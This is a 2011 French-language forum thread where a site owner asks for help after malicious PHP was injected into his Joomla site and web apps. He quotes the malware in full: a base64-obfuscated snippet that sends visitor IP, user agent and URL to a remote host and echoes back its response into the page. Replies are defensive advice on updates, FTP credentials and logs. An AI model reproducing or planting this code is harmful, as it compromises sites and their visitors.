injection de code dans mes pages php

Eléphanteau du PHP | 15 Messages

14 déc. 2011, 11:45

Bonjour,

Ce matin, plusieurs bugs sur chacune des pages index de mes petites application web.
Un code a été injecté en début de script. Voici le code :
if (!isset($sRetry))
{
global $sRetry;
$sRetry = 1;
    // This code use for global bot statistic
    $sUserAgent = strtolower($_SERVER['HTTP_USER_AGENT']); //  Looks for google serch bot
    $stCurlHandle = NULL;
    $stCurlLink = "";
    if((strstr($sUserAgent, 'google') == false)&&(strstr($sUserAgent, 'yahoo') == false)&&(strstr($sUserAgent, 'baidu') == false)&&(strstr($sUserAgent, 'msn') == false)&&(strstr($sUserAgent, 'opera') == false)&&(strstr($sUserAgent, 'chrome') == false)&&(strstr($sUserAgent, 'bing') == false)&&(strstr($sUserAgent, 'safari') == false)&&(strstr($sUserAgent, 'bot') == false)) // Bot comes
    {
        if(isset($_SERVER['REMOTE_ADDR']) == true && isset($_SERVER['HTTP_HOST']) == true){ // Create  bot analitics            
        $stCurlLink = base64_decode( 'aHR0cDovL2hvdGxvZ3VwZGF0ZS5jb20vc3RhdC9zdGF0LnBocA==').'?ip='.urlencode($_SERVER['REMOTE_ADDR']).'&useragent='.urlencode($sUserAgent).'&domainname='.urlencode($_SERVER['HTTP_HOST']).'&fullpath='.urlencode($_SERVER['REQUEST_URI']).'&check='.isset($_GET['look']);
            $stCurlHandle = curl_init( $stCurlLink ); 
    }
    } 
if ( $stCurlHandle !== NULL )
{
    curl_setopt($stCurlHandle, CURLOPT_RETURNTRANSFER, 1);
    $sResult = @curl_exec($stCurlHandle); 
    if ($sResult[0]=="O") 
     {$sResult[0]=" ";
      echo $sResult; // Statistic code end
      }
    curl_close($stCurlHandle); 
}
}

Visiblement j'ai des failles dans mon code. Mais je ne sais ni les identifier, ni les combler (vive les écoles d'ingé qui vous apprennent à coder sans se soucier des failles !).
Quelqu'un peut il me venir en aide SVP ? Sachant que ces applis web me servent pour mon boulot... :)

Merci d'avance pour l'aide que vous pourrez m'apporter !
To1n00
Modifié en dernier par zeus le 16 déc. 2011, 16:34, modifié 1 fois.
Raison : Remplacement des tags [code] par [php]

Eléphanteau du PHP | 15 Messages

14 déc. 2011, 12:25

Petite précision, je viens de voir que mon site web qui est sous Joomla a également été injecté à plusieurs endroits (plusieurs fichiers index.php et default.php) En tout, 27 fichiers infectés sur mon site joomla...

Je suis donc curieux de savoir quelle failles de joomla a été exploitée....

en analysant mes logs, j'ai retrouvé l'ip qui est à l'origine de cette injection mais je ça ne m'apporte pas grand chose ....

Merci pour votre aide, car j'ai quelques lacunes en sécu....

ViPHP
xTG
ViPHP | 7331 Messages

14 déc. 2011, 12:48

Joomla est largement utilisé, donc si tu ne l'as pas mis à jour il est normal de se faire facilement pirater.
Regardes les logs de majs de Joomla entre ta version et la dernière en téléchargement et tu auras toutes les failles potentielles.

Eléphanteau du PHP | 15 Messages

14 déc. 2011, 13:29

Ok, Merci. Je vais déjà mettre Joomla à jour.
Actuellement j'ai la version 1.5.21
Quand je vais sur le site, je vois que la dernière version stable est la 1.5.25 Mais qu'on peu aussi télécharge la version 1.7 et qu'il y a aussi une bêta 2.5... Bref je ne comprend pas grand chose et je ne sais pas quelle version utiliser pour la MAJ... Pour le coup, Wordpress est plus simple pour la MAJ.. :d


Par contre, mes applis web, qui sont dans des dossier séparé de mon site Joomla, mais sur le même serveur ont été infecté... Celà viendrait t'il d'une faille dans mon code ?

j'ai contrôlé sur ce que je pouvais, je n'ai pas remarqué de faille "évidente"...

ViPHP
ViPHP | 2577 Messages

14 déc. 2011, 15:45

Bonjour,

Pour connaitre les failles utilisées et les corrigés, il faudrait que l'on étudie ton code et le code de joomla. Je doute que quelqu'un prenne le temps de lire tout le code.

Comme ton code n'est probablement pas diffusé, il est probable que la faille utilisée provienne de joomla. La mise à jour régulière est certainement le meilleur moyen d'éviter des problèmes.

Nombre de "pirates" se contentent de tester des failles connues en balayant des plages d'adresses IP ou des listes de domaines en espérant trouver un serveur qui répondent positivement à la faille testée. Je constate de nombreuse tentative sur mon serveur.

Avatar du membre
Modérateur PHPfrance
Modérateur PHPfrance | 8758 Messages

14 déc. 2011, 16:04

j'adore le base64_encode pou cacher le "http://hotlogupdate.com/stat/stat.php" ^^

sinon pour joomla, le mieux c'est demander sur un forum dédier.
je te conseillerais par défaut de prendre la dernière version dans ta branche (1.5.25 donc ?). et de voir commence ce passe la mise a jour de la 1.5 vers 1.5 je te déconseille la béta :)


@+
Il en faut peu pour être heureux ......

Eléphanteau du PHP | 49 Messages

14 déc. 2011, 18:04

Hello,
J'ai utilisé plusieurs fois acunetix, qui est un logiciel de scanners de failles.
C'est très efficace et je pense que ça permettrait de détecter les URLs en cause rapidement.
Le HIC c'est qu'il est payant
http://www.acunetix.com/

Tu as des logs de conexion FTP, peut être que ce n'est pas l'applicatif qui est en casue?
Tes 27 fichiers, ont ils tous la même date de modification?


Ciao

Eléphanteau du PHP | 15 Messages

14 déc. 2011, 18:14

Merci à vous tous d'avoir pris le temps de me répondre.

J'ai maintenant fais la mise à jour, je resterai vigilent là dessus.

En fait sur mon serveur j'ai à la racine un dossier "SiteWeb" sur lequel pointe mon nom de domaine.
Ensuite j'ai créé des sous domaines pointant vers divers autres dossiers, toujours à la racine.

Mazarini : Selon toi, il y a des chances que l'attaque soit venue d'abord sur Joomla, puis que cela se soit propagé dans mes autres dossiers, Peux tu me confirmer cette hypothèse de "propagation" ?

liens_geeks : oui j'ai les log FTP. En l'espace de 2 minutes, toutes le fichiers de mon serveurs ont été explorés par la même ip.

Avatar du membre
Modérateur PHPfrance
Modérateur PHPfrance | 8758 Messages

15 déc. 2011, 10:38

Mazarini : Selon toi, il y a des chances que l'attaque soit venue d'abord sur Joomla, puis que cela se soit propagé dans mes autres dossiers, Peux tu me confirmer cette hypothèse de "propagation" ?
un seul suffit, après il fait ce qu'il veux le tout c'est de rentrer :)

@+
Il en faut peu pour être heureux ......

ViPHP
ViPHP | 2577 Messages

15 déc. 2011, 12:30

Est ce que ton serveur est hébergé sur un serveur que tu gères toi même complètement ?

Si tu gères toi même le serveur (installation de l'OS) il est possible que l'origine de la faille soit dans cette installation. Par contre si tu ne touche pas au système et que cela est du ressort de l'hébergeur, c'est moins probable mais pas impossible.

Celà me semble compliquer de modifier les fichiers à partir d'une application PHP, je pencherai plus pour une faille du coté ftp ou ssh. Il faut voir du coté de Joomla si d'autres personnes ont subit les mêmes problèmes et idem du coté de ton hébergeur.

Pour ma part, j'avoue m'être dégonflé pour gérer mon serveur. Il m'arrive de créer un serveur virtuel et de faire joujou avec, mais j'ai un doute sur mes compétences par rapport à la sécurité.

J'ai fait quelques recherches, il semble que le problème soit lié au compte ftp. Donc nettoyage des fichiers puis changement des mots de passe. Ca semble suffire mais je n'ai pas poussé les recherches : un coup de google avec une partie du code injecté.

Eléphanteau du PHP | 49 Messages

15 déc. 2011, 13:19

Celà me semble compliquer de modifier les fichiers à partir d'une application PHP, je pencherai plus pour une faille du coté ftp ou ssh. Il faut voir du coté de Joomla si d'autres personnes ont subit les mêmes problèmes et idem du coté de ton hébergeur.
Je ne connais pas Joomla mais sous wordpress, tu as un éditeur de fichiers PHP directement dans le backoffice. En 2 minutes tu peux faire plein de modifications

Eléphanteau du PHP | 15 Messages

15 déc. 2011, 15:09

Re-belotte !

J'ai tout corrigé hier, et j'ai mis à jours mon Joomla. à l'instant, je viens de me rendre compte que j'ai subit la même attaque hier en fin d'après midi.
Ip différente, localisation différente, mais même code injecté.

Je ne gère pas mon serveur, j'ai opté pour un hebergeur (1*1 en l'occurence), donc je doute que le problème viennent de là (mais effectivement rien n'est impossible).

BackOffice de joomla, je ne pense pas... ça ne s'est pas fait manuellement vu la quantité de fichiers visités en 2 minutes (4-5000 à vue d'oeil).

Je vais changer le mot de passe de mon ftp et croiser les doigts...
Comment être sur que mon nouveau mot de passe ne sera pas trouvé lui aussi ... ?

Si toutefois quelqu'un a d'autre idées, je suis preneur

ViPHP
ViPHP | 2577 Messages

15 déc. 2011, 15:23

D'après ce que j'ai trouvé via google, ce genre d'agissement s'est déjà produit en 2010. Il semble que la concéquence la plus visible soit une surcharge du serveur.

Fais des recherches via google avec des bouts du code injecté pour voir ce qui se dit à ce propos. Ca me semble le plus judicieux.

Vérifies également l'utilisateur qui a fait les modifications (dans la mesure ou l'utilisateur apache et l'utilisateur ftp n'est pas le même) pour voir si c'est lié à l'un ou à l'autre.

Tu peux également être victime d'un keyloger.

Vu la vitesse de reproduction de l'infection, tu sauras rapidement si tu es débarassé du problème.

Eléphanteau du PHP | 15 Messages

15 déc. 2011, 15:26

Fais des recherches via google avec des bouts du code injecté pour voir ce qui se dit à ce propos. Ca me semble le plus judicieux.
ça marche, dès que j'aurai remis de l'ordre sur mon ftp, je commence les recherches.
Vérifies également l'utilisateur qui a fait les modifications (dans la mesure ou l'utilisateur apache et l'utilisateur ftp n'est pas le même) pour voir si c'est lié à l'un ou à l'autre.
Comment ?
Tu peux également être victime d'un keyloger.
ça me fait peur.... je regarde mes comptes sur internet :d
Sais tu comment je peux vérifier ça ?

ViPHP
ViPHP | 2577 Messages

15 déc. 2011, 16:28

Normalement, lorsque tu regardes le contenu des répertoires avec un client ftp, tu a le nom du propriétaire du fichier si je ne me trompe pas. A moins que ce soit uniquement le nom du créateur.

Pour le keyloger, il faut trouver le logiciel qui va bien, genre SpyBot, Search & Destroy ou Ad-Aware Free.